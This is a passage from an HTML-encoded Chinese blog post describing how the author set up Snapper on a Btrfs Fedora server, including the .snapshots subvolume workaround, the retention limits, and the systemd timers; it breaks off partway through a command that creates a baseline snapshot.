&lt;p&gt;实际按照下面的顺序处理：临时卸载现有子卷，让 Snapper 创建配置；删除 Snapper 临时创建的 &lt;code&gt;.snapshots&lt;/code&gt;；最后把原来的独立子卷挂回来。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;span class="lnt"&gt;7
&lt;/span&gt;&lt;span class="lnt"&gt;8
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo umount /.snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo rmdir /.snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root create-config /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs subvolume delete /.snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mkdir /.snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo mount /.snapshots
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;create-config&lt;/code&gt; 创建的临时子卷确实位于根子卷内部：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: .snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subvolume ID: 261
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Parent ID: 259
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Top level ID: 259
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;删除时输出：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Delete subvolume 261 (no-commit): &amp;#39;//.snapshots&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这里没有修改 &lt;code&gt;/etc/fstab&lt;/code&gt;。最后一条 &lt;code&gt;mount /.snapshots&lt;/code&gt; 会直接使用安装时已经写好的条目：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;UUID=94c4f2ec-17aa-420f-a87a-6bbec3f57ad9 /.snapshots btrfs subvol=snapshots,compress=zstd:1 0 0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;创建完成后立即验证：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper list-configs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root get-config
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;findmnt /.snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo btrfs subvolume list /
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;配置 │ 子卷
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;─────┼─────
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;root │ /
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/.snapshots /dev/nvme1n1p3[/snapshots] btrfs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Name: snapshots
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Subvolume ID: 256
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Parent ID: 5
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Top level ID: 5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;root&lt;/code&gt; 配置指向 &lt;code&gt;/&lt;/code&gt;，&lt;code&gt;/.snapshots&lt;/code&gt; 仍然来自顶层 &lt;code&gt;/snapshots&lt;/code&gt;，没有误用根子卷内部的临时 subvolid 261。第一阶段验收通过。&lt;/p&gt;
&lt;p&gt;这套处理方法参考 &lt;a class="link" href="https://wiki.archlinux.org/title/Snapper#Configuration_of_snapper_and_mount_point" target="_blank" rel="noopener"
&gt;ArchWiki - Snapper: Configuration of snapper and mount point&lt;/a&gt;。虽然文章针对 Arch，但这里解决的是 Snapper 与“已经存在的独立 &lt;code&gt;.snapshots&lt;/code&gt; 子卷”之间的通用冲突。&lt;/p&gt;
&lt;h3 id="保留策略"&gt;保留策略
&lt;/h3&gt;&lt;p&gt;使用两套 cleanup：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;timeline&lt;/code&gt;：按小时创建，保留近期密集、远期稀疏的时间点；&lt;/li&gt;
&lt;li&gt;&lt;code&gt;number&lt;/code&gt;：管理手工快照和 DNF5 的 pre/post 快照对。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;实际配置为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_CREATE=yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_CLEANUP=yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_HOURLY=10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_DAILY=7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_WEEKLY=4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_MONTHLY=6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_QUARTERLY=0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_YEARLY=0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_CLEANUP=yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_LIMIT=20
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_LIMIT_IMPORTANT=10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EMPTY_PRE_POST_CLEANUP=yes
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;也就是最多保留大约：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;最近 10 个小时的小时快照；&lt;/li&gt;
&lt;li&gt;最近 7 天每天一个；&lt;/li&gt;
&lt;li&gt;最近 4 周每周一个；&lt;/li&gt;
&lt;li&gt;最近 6 个月每月一个；&lt;/li&gt;
&lt;li&gt;20 个普通 number 快照；&lt;/li&gt;
&lt;li&gt;额外保留 10 个标记为 &lt;code&gt;important=yes&lt;/code&gt; 的重要快照。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;timeline 理论上约 27 个时间点。Snapper 会按小时生成快照，再由 timeline cleanup 从中挑出需要长期保留的日、周、月快照，并不是另外运行日任务、周任务和月任务。&lt;/p&gt;
&lt;p&gt;使用 Snapper 自己的 &lt;code&gt;set-config&lt;/code&gt;，避免手工替换配置文件中的相似字段：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root set-config &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_CREATE=yes&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_CLEANUP=yes&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_HOURLY=10&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_DAILY=7&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_WEEKLY=4&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_MONTHLY=6&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_QUARTERLY=0&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;TIMELINE_LIMIT_YEARLY=0&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;NUMBER_CLEANUP=yes&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;NUMBER_LIMIT=20&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;NUMBER_LIMIT_IMPORTANT=10&amp;#39;&lt;/span&gt; &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;EMPTY_PRE_POST_CLEANUP=yes&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;检查实际配置：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root get-config &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s1"&gt;&amp;#39;TIMELINE_|NUMBER_|EMPTY_PRE_POST|QGROUP|SPACE_LIMIT|FREE_LIMIT&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;关键结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1
&lt;/span&gt;&lt;span class="lnt"&gt; 2
&lt;/span&gt;&lt;span class="lnt"&gt; 3
&lt;/span&gt;&lt;span class="lnt"&gt; 4
&lt;/span&gt;&lt;span class="lnt"&gt; 5
&lt;/span&gt;&lt;span class="lnt"&gt; 6
&lt;/span&gt;&lt;span class="lnt"&gt; 7
&lt;/span&gt;&lt;span class="lnt"&gt; 8
&lt;/span&gt;&lt;span class="lnt"&gt; 9
&lt;/span&gt;&lt;span class="lnt"&gt;10
&lt;/span&gt;&lt;span class="lnt"&gt;11
&lt;/span&gt;&lt;span class="lnt"&gt;12
&lt;/span&gt;&lt;span class="lnt"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;EMPTY_PRE_POST_CLEANUP │ yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_CLEANUP │ yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_LIMIT │ 20
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;NUMBER_LIMIT_IMPORTANT │ 10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;QGROUP │
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_CLEANUP │ yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_CREATE │ yes
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_DAILY │ 7
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_HOURLY │ 10
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_MONTHLY │ 6
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_QUARTERLY │ 0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_WEEKLY │ 4
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TIMELINE_LIMIT_YEARLY │ 0
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;QGROUP&lt;/code&gt; 为空，说明没有意外启用 quota。配置文件中的 &lt;code&gt;SPACE_LIMIT=0.5&lt;/code&gt; 和 &lt;code&gt;FREE_LIMIT=0.2&lt;/code&gt; 是模板默认值，但在没有 qgroup 时不会执行空间感知清理；实际边界仍然由上面的数量限制提供。&lt;/p&gt;
&lt;p&gt;暂时不执行 &lt;code&gt;btrfs quota enable&lt;/code&gt; 或 &lt;code&gt;snapper setup-quota&lt;/code&gt;。Snapper 的 &lt;code&gt;SPACE_LIMIT&lt;/code&gt; 和 &lt;code&gt;FREE_LIMIT&lt;/code&gt; 需要 qgroup 才能做空间感知清理，而 qgroup 会增加 Btrfs 的运行成本。根子卷已经排除了 &lt;code&gt;/var&lt;/code&gt;、&lt;code&gt;/home&lt;/code&gt; 和 &lt;code&gt;/srv&lt;/code&gt;，先用明确的数量上限更容易理解和验证。后续如果实际空间增长仍然不可接受，再根据数据决定是否启用 qgroup，而不是为了让配置看起来完整就先打开它。&lt;/p&gt;
&lt;p&gt;保留策略依据：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://manpages.opensuse.org/Tumbleweed/snapper/snapper-configs.5.en.html" target="_blank" rel="noopener"
&gt;snapper-configs(5)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://documentation.suse.com/smart/systems-management/html/snapper-basic-concepts/index.html" target="_blank" rel="noopener"
&gt;SUSE - The Basic Concepts of Snapper&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="启用时间线与清理定时器"&gt;启用时间线与清理定时器
&lt;/h3&gt;&lt;p&gt;Fedora 的 Snapper 包包含：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snapper-timeline.timer
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snapper-cleanup.timer
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snapper-boot.timer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;只启用 timeline 和 cleanup：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo systemctl &lt;span class="nb"&gt;enable&lt;/span&gt; --now &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; snapper-timeline.timer &lt;span class="se"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; snapper-cleanup.timer
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;不启用 &lt;code&gt;snapper-boot.timer&lt;/code&gt;。每次开机再创建一个快照对这台长期运行的服务器价值有限，小时快照与 DNF 事务快照已经覆盖主要场景。&lt;/p&gt;
&lt;p&gt;验证 timer：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;systemctl list-timers &lt;span class="s1"&gt;&amp;#39;snapper-*&amp;#39;&lt;/span&gt; --all
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;实际状态：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snapper-timeline.timer enabled active
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;snapper-cleanup.timer enabled active
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;code&gt;list-timers&lt;/code&gt; 只列出这两个 timer，没有启用 &lt;code&gt;snapper-boot.timer&lt;/code&gt;。&lt;/p&gt;
&lt;h3 id="创建基线快照"&gt;创建基线快照
&lt;/h3&gt;&lt;p&gt;配置完成并验证后，创建一个标记为 important 的基线：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;
&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1
&lt;/span&gt;&lt;span class="lnt"&gt;2
&lt;/span&gt;&lt;span class="lnt"&gt;3
&lt;/span&gt;&lt;span class="lnt"&gt;4
&lt;/span&gt;&lt;span class="lnt"&gt;5
&lt;/span&gt;&lt;span class="lnt"&gt;6
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class="lntd"&gt;
&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo snapper --config root create &lt;span class="se"&gt;\
